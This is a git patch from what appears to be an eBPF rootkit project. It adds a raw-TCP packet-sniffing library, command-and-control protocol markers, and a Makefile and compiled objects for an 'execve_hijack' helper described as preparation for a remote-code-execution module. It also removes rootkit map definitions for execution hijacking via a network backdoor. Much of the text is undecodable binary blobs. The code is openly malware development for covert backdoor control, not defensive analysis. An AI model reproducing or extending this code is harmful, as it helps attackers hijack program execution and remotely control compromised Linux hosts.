From 431a0199312db40feb7962a874e73be33a1a7531 Mon Sep 17 00:00:00 2001 From: h3xduck Date: Wed, 16 Feb 2022 19:38:39 -0500 Subject: [PATCH] Updated my RawTCPLib library with newest version supporting sniffing for payloads. Also new data in preparation for complete RCE module --- src/client/lib/RawTCP.h | 1 + src/client/lib/libRawTCP_Lib.a | Bin 49944 -> 51740 bytes src/common/map_prot.h | 15 ------------- src/ebpf/include/packet/c&c/c&c.h | 10 +++++++++ src/helpers/Makefile | 16 +++++++++++++ src/helpers/execve_hijack.o | Bin 0 -> 2600 bytes src/helpers/lib/RawTCP.h | 36 ++++++++++++++++++++++++++++++ src/helpers/lib/libRawTCP_Lib.a | Bin 0 -> 51740 bytes 8 files changed, 63 insertions(+), 15 deletions(-) create mode 100644 src/ebpf/include/packet/c&c/c&c.h create mode 100644 src/helpers/Makefile create mode 100644 src/helpers/execve_hijack.o create mode 100644 src/helpers/lib/RawTCP.h create mode 100644 src/helpers/lib/libRawTCP_Lib.a diff --git a/src/client/lib/RawTCP.h b/src/client/lib/RawTCP.h index 30e7177..2ee831b 100644 --- a/src/client/lib/RawTCP.h +++ b/src/client/lib/RawTCP.h @@ -31,5 +31,6 @@ int rawsocket_send(packet_t packet); packet_t rawsocket_sniff(); +packet_t rawsocket_sniff_pattern(char* payload_pattern); #endif \ No newline at end of file diff --git a/src/client/lib/libRawTCP_Lib.a b/src/client/lib/libRawTCP_Lib.a index 636ade3b93474a943b44fd5c17221d393a297cdf..8bbefb908e492b8ea2a8a75e712e6d580e6a41c3 100644 GIT binary patch delta 4770 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 diff --git a/src/common/map_prot.h b/src/common/map_prot.h index 5f158d7..e9f92c9 100644 --- a/src/common/map_prot.h +++ b/src/common/map_prot.h @@ -11,19 +11,4 @@ /*PROTECTED MAPS*/ //Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted -//Execution hijacking, holder of requesting/response data sent from/to the network backdoor -#define EXEC_HIJACK_REQUEST_PROGRAM_MAX_LEN 256 -#define EXEC_HIJACK_RESPONSE_PROGRAM_MAX_LEN 256 -struct exec_hijack_data{ //Map value - char req_buf[EXEC_HIJACK_REQUEST_PROGRAM_MAX_LEN]; - char res_buf[EXEC_HIJACK_RESPONSE_PROGRAM_MAX_LEN]; -}; - -struct exec_prot_hijack{ //Map - __uint(type, BPF_MAP_TYPE_ARRAY); - __uint(max_entries, 1); - __type(key, __u32); //just 1 entry allowed - __type(value, struct exec_hijack_data); -} exec_hijack SEC(".maps"); - #endif \ No newline at end of file diff --git a/src/ebpf/include/packet/c&c/c&c.h b/src/ebpf/include/packet/c&c/c&c.h new file mode 100644 index 0000000..7fbec6b --- /dev/null +++ b/src/ebpf/include/packet/c&c/c&c.h @@ -0,0 +1,10 @@ +#ifndef __BPF_CC_H +#define __BPF_CC_H + +#define CC_PROT_SYN "CC_SYN" +#define CC_PROT_ACK "CC_ACK" +#define CC_PROT_SYN_ACK "CC_SYN_ACK" +#define CC_PROT_SEPARATOR "#" + + +#endif \ No newline at end of file diff --git a/src/helpers/Makefile b/src/helpers/Makefile new file mode 100644 index 0000000..6aade0b --- /dev/null +++ b/src/helpers/Makefile @@ -0,0 +1,16 @@ +CC = gcc +HEADERS = lib/RawTCP.h +EXTRA_CFLAGS= -I$(PWD)/lib + +default: + make execve_hijack + +execve_hijack.o: execve_hijack.c $(HEADERS) + gcc -c execve_hijack.c + +execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a + gcc -lm -o execve_hijack execve_hijack.o -L. lib/libRawTCP_Lib.a + +clean: + -rm -f execve_hijack.o + -rm -f execve_hijack \ No newline at end of file diff --git a/src/helpers/execve_hijack.o b/src/helpers/execve_hijack.o new file mode 100644 index 0000000000000000000000000000000000000000..2c650494b833eacfc9830c582e51b36de2e0b91a GIT binary patch literal 2600 zcmb_d&5ImG6o0+D*?hRW86`*{Dh;|JYSP&u81jK(c9z;Lb#+6`o;)X`1A5D!5YIx89Av3i{)t|BX*&)LKB?g>=&5=R@u8wZ%6`@vO0>rd(lyUSB-YA#{-*VzV{+$*PSgJ0pDJ--SMDeH3M z7EenEC%;MOKhl)&y2dsPoH@yEezJc38m{E0>JY^hIc(Arc4wXS$m-r}DeG|;J+k|} zGd7g6JJ)Fgc=Cr#W{vgGWuIf*+I>5!SL@b1-?>}7TZ;pw*j<<>B-}sqQLE)b72j-<9^q0+*FldUO9kHekmD^%i zeq91tRDcmwO4znxoBLo9aPzx_4PztOlXYNxdQ-Hr)fG-r_iv{>c1vqRuf6Il2Q*VMjH@{Gwp0^ifXFp_T?X%O>d1gba9Y^2? zuH(n`h6hgMioO-roAC++Ew2fe!g}n1>j#kswjIS-d$wD5uZH))yX`46=b6H0Zqns~NS zssU2fi?x>~QTAgaT)l&Yk=)J)%HSvBA4HsdKCL~yKNM=qS>m`S|np9w*3W-o7P)W6DtW zd3&nDLFd0$7L+F!gUygm8MpFKiQlJ)1)K$HCb(f@6b O{gli<)@(`5+y4(_uZ3*@ literal 0 HcmV?d00001 diff --git a/src/helpers/lib/RawTCP.h b/src/helpers/lib/RawTCP.h new file mode 100644 index 0000000..2ee831b --- /dev/null +++ b/src/helpers/lib/RawTCP.h @@ -0,0 +1,36 @@ +#ifndef HEADER_RAWTCP_LIB +#define HEADER_RAWTCP_LIB + +#include + +//Packet_t structure +typedef struct packet_t{ + struct iphdr *ipheader; + struct tcphdr *tcpheader; + char *payload; + int payload_length; + char* packet; +}packet_t; + +//PacketForger headers +packet_t build_standard_packet( + u_int16_t source_port, + u_int16_t destination_port, + const char* source_ip_address, + const char* destination_ip_address, + u_int32_t packet_length, + char* payload + ); + +int packet_destroy(packet_t packet); + +int set_TCP_flags(packet_t packet, int hex_flags); + +//SocketManager headers +int rawsocket_send(packet_t packet); + +packet_t rawsocket_sniff(); + +packet_t rawsocket_sniff_pattern(char* payload_pattern); + +#endif \ No newline at end of file diff --git a/src/helpers/lib/libRawTCP_Lib.a b/src/helpers/lib/libRawTCP_Lib.a new file mode 100644 index 0000000000000000000000000000000000000000..8bbefb908e492b8ea2a8a75e712e6d580e6a41c3 GIT binary patch literal 51740 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 